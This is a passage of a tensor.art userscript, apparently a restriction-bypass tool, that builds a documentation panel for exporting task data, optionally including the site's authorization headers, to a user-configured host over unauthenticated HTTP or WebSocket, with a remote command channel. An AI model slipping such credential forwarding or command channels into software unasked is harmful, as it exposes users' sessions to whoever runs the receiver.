    const copyWireBtn = mkBtn('<i class="fas fa-copy"></i> Copy last wire info', async () => {
      try {
        await copyTextToClipboard(lastWireText);
        showToast('Copied last wire info JSON', 'success');
      } catch (e) {
        showToast(e?.message || 'Nothing to copy', 'warning');
      }
    });
    const closeBtn = mkBtn('<i class="fas fa-times"></i> Close', () => overlay.remove());

    headerBtns.appendChild(copyEnvBtn);
    headerBtns.appendChild(copyWireBtn);
    headerBtns.appendChild(closeBtn);

    header.appendChild(titleWrap);
    header.appendChild(headerBtns);

    const body = document.createElement('div');
    body.style.cssText = `
      flex: 1;
      display: grid;
      grid-template-columns: 280px 1fr;
      min-height: 0;
    `;

    const nav = document.createElement('div');
    nav.style.cssText = `
      border-right: 1px solid ${colors.border};
      padding: 12px;
      overflow: auto;
      background: ${colors.bgSecondary};
    `;

    const navTitle = document.createElement('div');
    navTitle.style.cssText = `font-size: 12px; font-weight: 900; color:${colors.text}; margin-bottom: 8px;`;
    navTitle.innerHTML = '<i class="fas fa-list"></i> Contents';
    nav.appendChild(navTitle);

    const main = document.createElement('div');
    main.style.cssText = 'padding: 14px; overflow: auto; min-width: 0;';

    const mkSection = (id, titleHtml, innerHtml) => {
      const wrap = document.createElement('div');
      wrap.id = id;
      wrap.style.cssText = 'scroll-margin-top: 70px; margin-bottom: 18px;';
      const h = document.createElement('div');
      h.style.cssText = `
        font-size: 14px;
        font-weight: 950;
        margin-bottom: 10px;
        padding: 10px 12px;
        border: 1px solid ${colors.border};
        border-radius: 12px;
        background: rgba(99,102,241,0.08);
      `;
      h.innerHTML = titleHtml;
      const c = document.createElement('div');
      c.style.cssText = `
        border: 1px solid ${colors.border};
        border-radius: 12px;
        padding: 12px;
        background: ${colors.bg};
        color: ${colors.textSecondary};
        font-size: 12px;
        line-height: 1.6;
      `;
      c.innerHTML = innerHtml;
      wrap.appendChild(h);
      wrap.appendChild(c);
      return wrap;
    };

    const mkNavItem = (label, targetId) => {
      const b = document.createElement('button');
      b.className = 'bypass-btn bypass-btn-secondary';
      b.style.cssText = `
        width: 100%;
        justify-content: flex-start;
        padding: 9px 10px;
        font-size: 11px;
        border-radius: 10px;
        margin-bottom: 6px;
        gap: 8px;
      `;
      b.innerHTML = label;
      b.onclick = () => {
        const el = main.querySelector(`#${CSS.escape(targetId)}`);
        if (el) el.scrollIntoView({ behavior: 'smooth', block: 'start' });
      };
      return b;
    };

    const monoBox = (text) => {
      const safe = escapeHtml(String(text || ''));
      return `<pre style="margin:0; padding:12px; background: rgba(2,6,23,0.55); border: 1px solid rgba(148,163,184,0.18); border-radius: 10px; overflow:auto; color: #e2e8f0; font-size: 11px; line-height: 1.5;">${safe}</pre>`;
    };

    const computedCfgHtml = `
      <div style="display:grid; gap:10px;">
        <div style="display:grid; gap:6px;">
          <div style="font-weight:900; color:${colors.text};"><i class="fas fa-sitemap"></i> Your configured target</div>
          <ul style="margin:0; padding-left:18px; display:grid; gap:6px;">
            <li><strong>Host/base:</strong> <span style="font-family:monospace; color:${colors.text};">${escapeHtml(settings.sharedNetworkHost || '')}</span></li>
            <li><strong>Method:</strong> <span style="font-family:monospace; color:${colors.text};">${escapeHtml((settings.sharedNetworkMethod || 'http').toUpperCase())}</span></li>
            <li><strong>Payload mode:</strong> <span style="font-family:monospace; color:${colors.text};">${escapeHtml(settings.sharedNetworkPayloadMode || 'file')}</span></li>
            <li><strong>Localhost safety:</strong> <span style="font-weight:900; color:${isLocal ? colors.success : colors.warning};">${isLocal ? 'YES (safer)' : 'NO (be careful)'}</span></li>
          </ul>
        </div>
        <div style="display:grid; gap:6px;">
          <div style="font-weight:900; color:${colors.text};"><i class="fas fa-link"></i> Derived URLs (how the script actually builds them)</div>
          <div style="display:grid; gap:6px;">
            <div><strong>HTTP upload URL:</strong> <span style="font-family:monospace; color:${colors.text};">${escapeHtml(uploadUrl || '—')}</span></div>
            <div><strong>HTTP health URL:</strong> <span style="font-family:monospace; color:${colors.text};">${escapeHtml(healthUrl || '—')}</span></div>
            <div><strong>HTTP command URL:</strong> <span style="font-family:monospace; color:${colors.text};">${escapeHtml(commandUrl || '—')}</span></div>
            <div><strong>WebSocket URL:</strong> <span style="font-family:monospace; color:${colors.text};">${escapeHtml(wsUrl || '—')}</span></div>
          </div>
          <div style="font-size:11px; color:${colors.textSecondary};">
            Notes: The script normalizes the host to an HTTP base (no trailing slash). Paths can be relative (recommended like <span style="font-family:monospace;">/shared-network/save</span>) or absolute.
          </div>
        </div>
      </div>
    `;

    const safetyHtml = `
      <div style="display:grid; gap:10px;">
        <div style="border-radius:12px; padding:12px; border:1px solid ${isLocal ? 'rgba(34,197,94,0.30)' : 'rgba(239,68,68,0.35)'}; background:${isLocal ? 'rgba(34,197,94,0.10)' : 'rgba(239,68,68,0.12)'};">
          <div style="font-weight:950; color:${isLocal ? '#86efac' : '#fecaca'}; margin-bottom:6px;"><i class="fas fa-shield-halved"></i> Safety model</div>
          <div>
            Shared Network Save is a convenience export feature. It is <strong>not encrypted</strong> and has <strong>no authentication</strong> built in.
          </div>
          <ul style="margin:8px 0 0; padding-left:18px; display:grid; gap:6px;">
            <li>Assume the receiver can read everything you send (tasks, links, metadata).</li>
            <li>If you enable <strong>Include Tensor headers</strong>, you may send sensitive request headers.</li>
            <li>Remote control console is effectively giving the host a command channel. Only use with servers you fully control.</li>
          </ul>
        </div>
        <div>
          <div style="font-weight:950; color:${colors.text};"><i class="fas fa-flag"></i> Localhost hint</div>
          <div style="margin-top:6px;">Every envelope contains:</div>
          ${monoBox(JSON.stringify({ security: { localhost: true } }, null, 2))}
          <div style="margin-top:6px; font-size:11px;">Receiver should treat <span style="font-family:monospace;">security.localhost</span> as a hint only (not a guarantee).</div>
        </div>
      </div>
    `;

    const envelopeHtml = `
      <div style="display:grid; gap:10px;">
        <div>
          <div style="font-weight:950; color:${colors.text};"><i class="fas fa-box"></i> Envelope (outer JSON object)</div>
          <div style="margin-top:6px;">This is the exact JSON shape created by <span style="font-family:monospace;">sharedNetBuildEnvelope(payload, meta)</span>.</div>
        </div>
        ${monoBox(JSON.stringify({
          type: 'tensor-shared-network-export',
          version: SCRIPT_VERSION,
          exportedAt: '2026-01-17T17:10:17.000Z',
          payload: { kind: 'items', count: 1 },
          page: { href: 'https://tensor.art/...', origin: 'https://tensor.art', host: 'tensor.art', title: '...' },
          user: { tokenPreview: 'abcd…wxyz', userId: '123', nickname: 'myname' },
          tensorHeaders: { Authorization: '***' },
          meta: { source: 'item-card' },
          security: { localhost: true }
        }, null, 2))}
        <div>
          <div style="font-weight:950; color:${colors.text}; margin-top:6px;"><i class="fas fa-tags"></i> Common payload kinds</div>
          <ul style="margin:6px 0 0; padding-left:18px; display:grid; gap:6px;">
            <li><span style="font-family:monospace;">cached-tasks</span> — exported from local task cache.</li>
            <li><span style="font-family:monospace;">items</span> — exported from selected UI items; includes <span style="font-family:monospace;">items[]</span> and related <span style="font-family:monospace;">tasks[]</span> when available.</li>
            <li><span style="font-family:monospace;">task</span> — single task export.</li>
            <li><span style="font-family:monospace;">raw</span> / other strings — arbitrary payload wrapper used by context menu exports.</li>
            <li><span style="font-family:monospace;">remote-command</span> — used by HTTP command endpoint (see Command section).</li>
          </ul>
        </div>
      </div>
    `;

    const httpHealthHtml = `
      <div style="display:grid; gap:10px;">
        <div>
          <div style="font-weight:950; color:${colors.text};"><i class="fas fa-heart-pulse"></i> Health check request</div>
          <div style="margin-top:6px;">The script calls the Health URL with a simple GET:</div>
        </div>
        ${monoBox(`GET ${healthUrl || 'http://127.0.0.1:8787/shared-network/health'}\n`)}
        <div>
          <div style="font-weight:950; color:${colors.text};"><i class="fas fa-reply"></i> Receiver response</div>
          <div style="margin-top:6px;">Any 2xx response marks the health check as OK. The body is logged (first ~2000 chars) for debugging.</div>
          <div style="margin-top:8px;">Recommended JSON response example:</div>
          ${monoBox(JSON.stringify({ ok: true, name: 'client I-BT Point', time: new Date().toISOString() }, null, 2))}
        </div>
      </div>
    `;

    const httpUploadHtml = `
      <div style="display:grid; gap:12px;">
        <div>
          <div style="font-weight:950; color:${colors.text};"><i class="fas fa-cloud-arrow-up"></i> Upload / Save endpoint (HTTP)</div>
          <div style="margin-top:6px;">The script sends an envelope to the Upload URL using one of two modes, controlled by <span style="font-family:monospace;">settings.sharedNetworkPayloadMode</span>:</div>
          <ul style="margin:8px 0 0; padding-left:18px; display:grid; gap:6px;">
            <li><strong>Text mode</strong> (<span style="font-family:monospace;">text</span>): JSON body with <span style="font-family:monospace;">Content-Type: application/json</span></li>
            <li><strong>File mode</strong> (<span style="font-family:monospace;">file</span>): <span style="font-family:monospace;">multipart/form-data</span> with a JSON file field named <span style="font-family:monospace;">file</span> and extra metadata fields</li>
          </ul>
        </div>

        <div style="border:1px solid rgba(148,163,184,0.18); border-radius:12px; padding:12px; background: rgba(2,6,23,0.25);">
          <div style="font-weight:950; color:${colors.text}; margin-bottom:8px;"><i class="fas fa-code"></i> Text mode (JSON body)</div>
          ${monoBox(`POST ${uploadUrl || 'http://127.0.0.1:8787/shared-network/save'}\nContent-Type: application/json\n\n{...envelope JSON...}`)}
          <div style="margin-top:8px; font-size:11px;">Receiver should parse the request body as JSON and treat it as the envelope.</div>
        </div>

        <div style="border:1px solid rgba(148,163,184,0.18); border-radius:12px; padding:12px; background: rgba(2,6,23,0.25);">
          <div style="font-weight:950; color:${colors.text}; margin-bottom:8px;"><i class="fas fa-file"></i> File mode (multipart)</div>
          <div style="font-size:11px; color:${colors.textSecondary}; margin-bottom:8px;">Exact form fields the userscript sends:</div>
          <ul style="margin:0; padding-left:18px; display:grid; gap:6px;">
            <li><span style="font-family:monospace; color:${colors.text};">file</span> — JSON file blob (filename provided)</li>
            <li><span style="font-family:monospace; color:${colors.text};">filename</span> — the same filename string</li>
            <li><span style="font-family:monospace; color:${colors.text};">contentType</span> — always <span style="font-family:monospace;">application/json</span></li>
            <li><span style="font-family:monospace; color:${colors.text};">mode</span> — always <span style="font-family:monospace;">file</span></li>
          </ul>
          <div style="margin-top:10px; font-size:11px; color:${colors.textSecondary};">The receiver should read the uploaded file bytes and parse it as JSON.</div>
        </div>

        <div>
          <div style="font-weight:950; color:${colors.text};"><i class="fas fa-clipboard-check"></i> Receiver response contract</div>
          <div style="margin-top:6px;">The userscript accepts any response body. It marks success based on HTTP <span style="font-family:monospace;">response.ok</span> (status 2xx). It logs the response text for debugging.</div>
          <div style="margin-top:8px;">Recommended response JSON:</div>
          ${monoBox(JSON.stringify({ ok: true, requestId: '20260117T171017Z', stored: true, storedPath: 'content/tasks/20260117T171017Z/envelope.json' }, null, 2))}
        </div>
      </div>
    `;

    const wsHtml = `
      <div style="display:grid; gap:12px;">
        <div>
          <div style="font-weight:950; color:${colors.text};"><i class="fas fa-plug"></i> WebSocket receiver</div>
          <div style="margin-top:6px;">When method = WS, the userscript connects to <span style="font-family:monospace;">settings.sharedNetworkWsUrl</span> and sends JSON messages.</div>
        </div>

        <div style="border:1px solid rgba(148,163,184,0.18); border-radius:12px; padding:12px; background: rgba(2,6,23,0.25);">
          <div style="font-weight:950; color:${colors.text}; margin-bottom:8px;"><i class="fas fa-paper-plane"></i> WS message: export (file/text)</div>
          <div style="font-size:11px; color:${colors.textSecondary}; margin-bottom:8px;">Exact message shape sent by the userscript:</div>
          ${monoBox(JSON.stringify({
            type: 'file',
            filename: 'shared_export_1700000000000.json',
            contentType: 'application/json',
            content: '{...envelope JSON string...}'
          }, null, 2))}
          <div style="margin-top:8px; font-size:11px;">Important: <span style="font-family:monospace;">content</span> is a <strong>string</strong> containing the envelope JSON (pretty-printed). Receiver should JSON-parse it.</div>
        </div>

        <div style="border:1px solid rgba(148,163,184,0.18); border-radius:12px; padding:12px; background: rgba(2,6,23,0.25);">
          <div style="font-weight:950; color:${colors.text}; margin-bottom:8px;"><i class="fas fa-terminal"></i> WS message: command</div>
          <div style="font-size:11px; color:${colors.textSecondary}; margin-bottom:8px;">When you use the Remote Control console and method = WS, it sends:</div>
          ${monoBox(JSON.stringify({ type: 'command', command: 'ping' }, null, 2))}
          <div style="margin-top:8px; font-size:11px;">This is <strong>not</strong> wrapped in an envelope on WS (unlike HTTP command).</div>
        </div>

        <div>
          <div style="font-weight:950; color:${colors.text};"><i class="fas fa-reply"></i> Receiver replies (optional)</div>
          <div style="margin-top:6px;">If the receiver sends any WS message back as a text frame, the userscript logs it (first ~2000 chars). A simple ack helps debugging.</div>
          ${monoBox(JSON.stringify({ ok: true, message: 'received', requestId: '...' }, null, 2))}
        </div>
      </div>
    `;

    const commandHtml = `
      <div style="display:grid; gap:12px;">
        <div>
          <div style="font-weight:950; color:${colors.text};"><i class="fas fa-terminal"></i> Command endpoint (HTTP)</div>
          <div style="margin-top:6px;">When Remote Control is enabled and method = HTTP, the script POSTs JSON to the Command URL.</div>
        </div>
        ${monoBox(`POST ${commandUrl || 'http://127.0.0.1:8787/shared-network/command'}\nContent-Type: application/json\n\n{...envelope JSON...}`)}
        <div>
          <div style="font-weight:950; color:${colors.text};"><i class="fas fa-box"></i> Envelope payload</div>
          <div style="margin-top:6px;">Envelope payload looks like:</div>
          ${monoBox(JSON.stringify({ type: 'remote-command', payload: { command: 'ping', at: new Date().toISOString() } }, null, 2))}
          <div style="margin-top:6px; font-size:11px;">Receiver can implement any semantics it wants (e.g., "ping", "reload", "export status").</div>
        </div>
      </div>
    `;

    const receiverChecklistHtml = `
      <div style="display:grid; gap:12px;">
        <div>
          <div style="font-weight:950; color:${colors.text};"><i class="fas fa-server"></i> Receiver implementation checklist</div>
          <div style="margin-top:6px;">A compatible receiver should handle:</div>
          <ul style="margin:8px 0 0; padding-left:18px; display:grid; gap:6px;">
            <li><strong>GET</strong> Health path → return 200 and optional JSON.</li>
            <li><strong>POST</strong> Upload path → accept JSON body <em>or</em> multipart (<span style="font-family:monospace;">file</span> field) and store the envelope.</li>
            <li><strong>POST</strong> Command path → accept JSON envelope; execute/record command; return JSON/text.</li>
            <li><strong>WS</strong> endpoint → accept export messages (<span style="font-family:monospace;">type=file|text</span>) and command messages (<span style="font-family:monospace;">type=command</span>).</li>
          </ul>
        </div>
        <div style="border-radius:12px; padding:12px; border:1px solid rgba(148,163,184,0.18); background: rgba(2,6,23,0.25);">
          <div style="font-weight:950; color:${colors.text}; margin-bottom:8px;"><i class="fas fa-lightbulb"></i> Storage suggestion</div>
          <div style="font-size:11px;">Save envelopes with a unique request id and keep original JSON exactly as received for auditability. Example folder:</div>
          ${monoBox('content/tasks/{request_id}/envelope.json\ncontent/tasks/{request_id}/meta.json\ndownloads/{request_id}/media/...')}
        </div>
      </div>
    `;

    const inspectorHtml = `
      <div style="display:grid; gap:12px;">
        <div>
          <div style="font-weight:950; color:${colors.text};"><i class="fas fa-magnifying-glass"></i> Last request inspector (from this browser session)</div>
          <div style="margin-top:6px;">These are captured when you send an export. They help you implement a receiver that matches <em>exactly</em> what your script is sending.</div>
        </div>
        <div style="display:grid; grid-template-columns: 1fr 1fr; gap:12px;">
          <div>
            <div style="font-weight:900; color:${colors.text}; margin-bottom:6px;"><i class="fas fa-box"></i> Last envelope</div>
            <div style="font-size:11px; color:${colors.textSecondary}; margin-bottom:8px;">Sent at: ${sharedNetworkLastSentAt ? escapeHtml(new Date(sharedNetworkLastSentAt).toLocaleString()) : '—'}</div>
            ${monoBox(lastEnvText || 'No envelope captured yet. Send something first.')}
          </div>
          <div>
            <div style="font-weight:900; color:${colors.text}; margin-bottom:6px;"><i class="fas fa-wifi"></i> Last wire format</div>
            <div style="font-size:11px; color:${colors.textSecondary}; margin-bottom:8px;">Describes transport/mode/url/fields used.</div>
            ${monoBox(lastWireText || 'No wire info captured yet. Send something first.')}
          </div>
        </div>
      </div>
    `;

    // Build nav + main
    const sections = [
      { id: 'sn_cfg', label: '<i class="fas fa-sitemap" style="width:16px;"></i> Your config', title: '<i class="fas fa-sitemap"></i> Configuration + derived URLs', html: computedCfgHtml },
      { id: 'sn_safety', label: '<i class="fas fa-shield-halved" style="width:16px;"></i> Safety', title: '<i class="fas fa-shield-halved"></i> Security & safety notes', html: safetyHtml },
      { id: 'sn_env', label: '<i class="fas fa-box" style="width:16px;"></i> Envelope schema', title: '<i class="fas fa-box"></i> Envelope schema', html: envelopeHtml },
      { id: 'sn_health', label: '<i class="fas fa-heart-pulse" style="width:16px;"></i> HTTP health', title: '<i class="fas fa-heart-pulse"></i> HTTP health endpoint', html: httpHealthHtml },
      { id: 'sn_upload', label: '<i class="fas fa-cloud-arrow-up" style="width:16px;"></i> HTTP upload', title: '<i class="fas fa-cloud-arrow-up"></i> HTTP upload/save endpoint', html: httpUploadHtml },
      { id: 'sn_ws', label: '<i class="fas fa-plug" style="width:16px;"></i> WebSocket', title: '<i class="fas fa-plug"></i> WebSocket message formats', html: wsHtml },
      { id: 'sn_cmd', label: '<i class="fas fa-terminal" style="width:16px;"></i> Commands', title: '<i class="fas fa-terminal"></i> Commands (remote control)', html: commandHtml },
      { id: 'sn_receiver', label: '<i class="fas fa-server" style="width:16px;"></i> Receiver checklist', title: '<i class="fas fa-server"></i> Receiver checklist', html: receiverChecklistHtml },
      { id: 'sn_inspector', label: '<i class="fas fa-magnifying-glass" style="width:16px;"></i> Inspector', title: '<i class="fas fa-magnifying-glass"></i> Inspector', html: inspectorHtml }
    ];

    sections.forEach(s => {
      nav.appendChild(mkNavItem(s.label, s.id));
      main.appendChild(mkSection(s.id, s.title, s.html));
    });

    // Layout
    body.appendChild(nav);
    body.appendChild(main);

    dialog.appendChild(header);
    dialog.appendChild(body);
    overlay.appendChild(dialog);
    overlay.onclick = (e) => {
      if (e.target === overlay) overlay.remove();
    };
    document.body.appendChild(overlay);
  }

  function showCacheClearDialog() {
    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed; top: 0; left: 0; right: 0; bottom: 0;
      background: rgba(0, 0, 0, 0.7); backdrop-filter: blur(5px);
      display: flex; align-items: center; justify-content: center;
      z-index: 10000050;
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      background: ${settings.theme === 'dark' ? '#1e293b' : '#ffffff'};
      color: ${settings.theme === 'dark' ? '#f1f5f9' : '#0f172a'};
      border: 1px solid rgba(148,163,184,0.25);
      border-radius: 12px;
      padding: 24px;
      max-width: 500px;
      box-shadow: 0 25px 80px rgba(0, 0, 0, 0.5);
      max-height: 80vh;
      overflow-y: auto;
    `;

    dialog.innerHTML = `
      <div style="display: flex; align-items: center; gap: 12px; margin-bottom: 20px;">
        <i class="fas fa-trash-alt" style="color: #ef4444; font-size: 28px;"></i>
        <h2 style="margin: 0; font-size: 18px; font-weight: 700;">Clear Cache Options</h2>
      </div>
      <p style="font-size: 12px; color: #94a3b8; margin-bottom: 20px; line-height: 1.6;">Choose how you want to clear the cached data. Each option has different implications.</p>

      <div style="display: flex; flex-direction: column; gap: 12px;" id="cacheOptions"></div>

      <div style="display: flex; gap: 10px; margin-top: 20px; justify-content: flex-end;">
        <button class="bypass-btn bypass-btn-secondary" id="cacheCancelBtn" style="padding: 8px 16px; font-size: 12px;">Cancel</button>
      </div>
    `;

    const optionsContainer = dialog.querySelector('#cacheOptions');

    // Option 1: Delete without regain
    const option1 = document.createElement('div');
    option1.style.cssText = 'padding: 12px; border: 1px solid rgba(239,68,68,0.3); border-radius: 8px; background: rgba(239,68,68,0.05); cursor: pointer;';
    option1.innerHTML = `
      <div style="display: flex; align-items: center; gap: 8px; margin-bottom: 6px;">
        <i class="fas fa-lock" style="color: #ef4444;"></i>
        <strong style="color: #ef4444;">Delete Without Ability to Regain</strong>
      </div>
      <p style="margin: 0; font-size: 11px; color: #cbd5e1; line-height: 1.5;">Permanently delete from cache. Won't be bypassed again until you manually re-enable it in Data Control.</p>
    `;
    option1.onclick = () => {
      itemsData.forEach(item => markItemAsNoRegain(item.id));
      clearAllCache(false);
      overlay.remove();
      updateUI();
    };
    optionsContainer.appendChild(option1);

    // Option 2: Delete with regain
    const option2 = document.createElement('div');
    option2.style.cssText = 'padding: 12px; border: 1px solid rgba(251,191,36,0.3); border-radius: 8px; background: rgba(251,191,36,0.05); cursor: pointer;';
    option2.innerHTML = `
      <div style="display: flex; align-items: center; gap: 8px; margin-bottom: 6px;">
        <i class="fas fa-sync" style="color: #f59e0b;"></i>
        <strong style="color: #f59e0b;">Delete With Ability to Regain</strong>
      </div>
      <p style="margin: 0; font-size: 11px; color: #cbd5e1; line-height: 1.5;">Clear cache from memory. Items will be cached again on next page reload if found.</p>
    `;
    option2.onclick = () => {
      clearAllCache(false);
      overlay.remove();
      updateUI();
    };
    optionsContainer.appendChild(option2);

    // Option 3: Hide cache
    const option3 = document.createElement('div');
    option3.style.cssText = 'padding: 12px; border: 1px solid rgba(99,102,241,0.3); border-radius: 8px; background: rgba(99,102,241,0.05); cursor: pointer;';
    option3.innerHTML = `
      <div style="display: flex; align-items: center; gap: 8px; margin-bottom: 6px;">
        <i class="fas fa-eye-slash" style="color: #6366f1;"></i>
        <strong style="color: #6366f1;">Hide Cached Items</strong>
      </div>
      <p style="margin: 0; font-size: 11px; color: #cbd5e1; line-height: 1.5;">Hide items from UI but keep in cache. Can still be exported. Visible in Data Control tab.</p>
    `;
    option3.onclick = () => {
      itemsData.forEach(item => markItemAsHidden(item.id));
      overlay.remove();
      updateUI();
    };
    optionsContainer.appendChild(option3);

    dialog.querySelector('#cacheCancelBtn').onclick = () => overlay.remove();
    overlay.appendChild(dialog);
    document.body.appendChild(overlay);
  }

  // Create setting label with tooltip info icon
  function createSettingLabel(text, icon, tooltip) {
    const label = document.createElement('label');
    label.className = 'bypass-label';
    label.style.display = 'flex';
    label.style.alignItems = 'center';
    label.style.gap = '8px';
    label.innerHTML = `<i class="fas ${icon}"></i> <span>${text}</span>`;

    if (tooltip) {
      const infoIcon = document.createElement('span');
      infoIcon.className = 'bypass-tooltip-icon';
      infoIcon.innerHTML = '<i class="fas fa-info-circle"></i>';
      infoIcon.title = tooltip;
      infoIcon.style.cssText = `
        font-size: 12px;
        opacity: 0.6;
        cursor: help;
        position: relative;
      `;

      // Add hover tooltip
      const createTooltip = () => {
        const tooltip = document.createElement('div');
        tooltip.className = 'bypass-hover-tooltip';
        tooltip.innerHTML = infoIcon.title;
        tooltip.style.cssText = `
          position: absolute;
          bottom: 125%;
          left: 50%;
          transform: translateX(-50%);
          background: ${settings.theme === 'dark' ? '#2d2d44' : '#333333'};
          color: white;
          padding: 8px 12px;
          border-radius: 6px;
          font-size: 11px;
          white-space: nowrap;
          z-index: 10001;
          pointer-events: none;
          opacity: 0;
          transition: opacity 0.2s ease;
          box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
        `;
        return tooltip;
      };

      let tooltip = null;
      infoIcon.onmouseenter = () => {
        if (!tooltip) {
          tooltip = createTooltip();
          infoIcon.appendChild(tooltip);
        }
        setTimeout(() => tooltip.style.opacity = '1', 10);
      };
      infoIcon.onmouseleave = () => {
        if (tooltip) {
          tooltip.style.opacity = '0';
        }
      };

      label.appendChild(infoIcon);
    }

    return label;
  }

  function createSettingsToggleRow({ labelText, icon = '', tooltip = '', checked = false, onChange = null, textColor = '', fontSize = '13px', settingKey = '' }) {
    const lockInfo = settingKey ? (remoteSettingsControl[settingKey] || null) : null;
    const isLocked = lockInfo?.locked === true;
    const noteText = typeof lockInfo?.note === 'string' && lockInfo.note.trim() ? lockInfo.note.trim() : null;

    const row = document.createElement('label');
    row.className = 'bypass-settings-toggle-row';
    row.style.cssText = [
      'cursor:pointer',
      `font-size:${fontSize}`,
      textColor ? `color:${textColor}` : '',
      isLocked ? 'opacity:0.8' : ''
    ].filter(Boolean).join('; ');

    const input = document.createElement('input');
    input.type = 'checkbox';
    input.className = 'bypass-checkbox';
    input.checked = !!checked;
    if (typeof onChange === 'function') {
      input.onchange = onChange;
    }

    const main = document.createElement('div');
    main.className = 'bypass-settings-toggle-main';

    const textWrap = document.createElement('span');
    textWrap.className = 'bypass-settings-toggle-label';
    if (icon) {
      const iconEl = document.createElement('i');
      iconEl.className = `fas ${icon}`;
      iconEl.style.flexShrink = '0';
      textWrap.appendChild(iconEl);
    }

    const text = document.createElement('span');
    text.style.cssText = 'min-width:0;';
    text.textContent = labelText;
    textWrap.appendChild(text);

    main.appendChild(input);
    main.appendChild(textWrap);
    row.appendChild(main);

    if (tooltip) {
      const infoIcon = document.createElement('span');
      infoIcon.className = 'bypass-tooltip-icon';
      infoIcon.innerHTML = '<i class="fas fa-info-circle"></i>';
      infoIcon.title = tooltip;
      infoIcon.style.cssText = 'font-size:12px; opacity:0.7; cursor:help; position:relative; flex-shrink:0; margin-top:2px;';
      infoIcon.addEventListener('click', (e) => {
        e.preventDefault();
        e.stopPropagation();
      });
      attachInfoTooltip(infoIcon, tooltip);
      row.appendChild(infoIcon);
    }

    // Remote lock badge
    if (isLocked) {
      input.disabled = true;
      input.style.pointerEvents = 'none';
      const lockBadge = document.createElement('span');
      lockBadge.style.cssText = 'font-size:10px;color:#f59e0b;flex-shrink:0;margin-left:6px;opacity:0.85;';
      lockBadge.innerHTML = '<i class="fas fa-lock"></i>';
      lockBadge.title = 'Locked by administrator';
      row.appendChild(lockBadge);
    }

    // If no note, return the label directly (no extra wrapper)
    if (!noteText) return { row, input };

    // Wrap: note banner above the toggle row
    const wrapper = document.createElement('div');
    wrapper.style.cssText = 'display:flex;flex-direction:column;gap:3px;';
    const noteBanner = document.createElement('div');
    noteBanner.style.cssText = [
      'background:rgba(99,102,241,0.10)',
      'border:1px solid rgba(99,102,241,0.28)',
      'border-radius:7px',
      'padding:7px 10px',
      'font-size:11.5px',
      'line-height:1.5',
      'color:#a5b4fc',
      'display:flex',
      'align-items:flex-start',
      'gap:6px'
    ].join(';');
    noteBanner.innerHTML = `<i class="fas fa-circle-info" style="color:#818cf8;margin-top:2px;flex-shrink:0;font-size:11px"></i><span>${String(noteText).replace(/</g, '&lt;').replace(/>/g, '&gt;')}</span>`;
    wrapper.appendChild(noteBanner);
    wrapper.appendChild(row);
    return { row: wrapper, input };
  }

  // Create collapsible settings section
  function createCollapsibleSection(title, icon, initialOpen = true) {
    const sectionKey = `section_${title.replace(/\s+/g, '_')}`;
    const isSectionOpen = localStorage.getItem(sectionKey) !== 'false';

    const section = document.createElement('div');
    section.className = 'bypass-collapsible-section';

    const header = document.createElement('div');
    header.className = `bypass-section-title ${!isSectionOpen ? 'collapsed' : ''}`;
    header.style.cursor = 'pointer';
    header.innerHTML = `<i class="fas ${icon}"></i> ${title} <i class="fas fa-chevron-down bypass-chevron"></i>`;

    const content = document.createElement('div');
    content.className = `bypass-section-content ${!isSectionOpen ? 'collapsed' : ''}`;

    header.onclick = () => {
      const isOpen = !content.classList.contains('collapsed');
      if (isOpen) {
        content.classList.add('collapsed');
        header.classList.add('collapsed');
        localStorage.setItem(sectionKey, 'false');
      } else {
        content.classList.remove('collapsed');
        header.classList.remove('collapsed');
        localStorage.setItem(sectionKey, 'true');
      }
    };

    section.appendChild(header);
    section.appendChild(content);

    return { section, content };
  }

  function normalizeSettingsSearchText(value) {
    return String(value || '').toLowerCase().replace(/\s+/g, ' ').trim();
  }

  function setSettingsSearchQuery(value) {
    settingsSearchQuery = String(value || '');
    try {
      localStorage.setItem('freeBypassSettingsSearchQuery', settingsSearchQuery);
    } catch {
      // ignore
    }
  }

  function applySettingsSearchFilter(form, query, emptyStateEl = null) {
    if (!form) return { visibleCount: 0, hasQuery: false };
    const normalizedQuery = normalizeSettingsSearchText(query);
    const hasQuery = !!normalizedQuery;
    let visibleTopLevelCount = 0;

    Array.from(form.children).forEach((node) => {
      if (!(node instanceof HTMLElement) || node === emptyStateEl || node.dataset.settingsSearchControls === 'true') return;

      const isSection = node.classList.contains('bypass-collapsible-section');
      if (!isSection) {
        const matches = !hasQuery || normalizeSettingsSearchText(node.textContent).includes(normalizedQuery);
        node.style.display = matches ? '' : 'none';
        if (matches) visibleTopLevelCount += 1;
        return;
      }

      const header = node.querySelector(':scope > .bypass-section-title');
      const content = node.querySelector(':scope > .bypass-section-content');
      const sectionTitleText = normalizeSettingsSearchText(header?.textContent || '');
      let visibleChildren = 0;

      if (content) {
        Array.from(content.children).forEach((child) => {
          if (!(child instanceof HTMLElement)) return;
          const matches = !hasQuery || normalizeSettingsSearchText(child.textContent).includes(normalizedQuery);
          child.style.display = matches ? '' : 'none';
          if (matches) visibleChildren += 1;
        });
      }

      const sectionMatches = !hasQuery || sectionTitleText.includes(normalizedQuery) || visibleChildren > 0;
      node.style.display = sectionMatches ? '' : 'none';
      if (sectionMatches) visibleTopLevelCount += 1;

      if (header && content) {
        if (hasQuery && sectionMatches) {
          if (!node.dataset.searchPrevCollapsed) {
            node.dataset.searchPrevCollapsed = content.classList.contains('collapsed') ? '1' : '0';
          }
          header.classList.remove('collapsed');
          content.classList.remove('collapsed');
        } else if (!hasQuery && node.dataset.searchPrevCollapsed) {
          const shouldCollapse = node.dataset.searchPrevCollapsed === '1';
          header.classList.toggle('collapsed', shouldCollapse);
          content.classList.toggle('collapsed', shouldCollapse);
          delete node.dataset.searchPrevCollapsed;
        }
      }
    });

    if (emptyStateEl) {
      if (hasQuery && visibleTopLevelCount === 0) {
        emptyStateEl.style.display = 'block';
        emptyStateEl.textContent = `No settings match "${String(query || '').trim()}".`;
      } else {
        emptyStateEl.style.display = 'none';
      }
    }

    return { visibleCount: visibleTopLevelCount, hasQuery };
  }

  function createUnifiedNotificationSettingsSection(colors) {
    const section = createCollapsibleSection('Notifications (Telegram / Discord)', 'fa-paper-plane', false);

    const info = document.createElement('div');
    info.style.cssText = `
      padding: 10px;
      border-radius: 10px;
      border: 1px solid ${colors.border};
      background: ${colors.bgSecondary};
      font-size: 12px;
      color: ${colors.textSecondary};
      line-height: 1.45;
      margin-bottom: 8px;
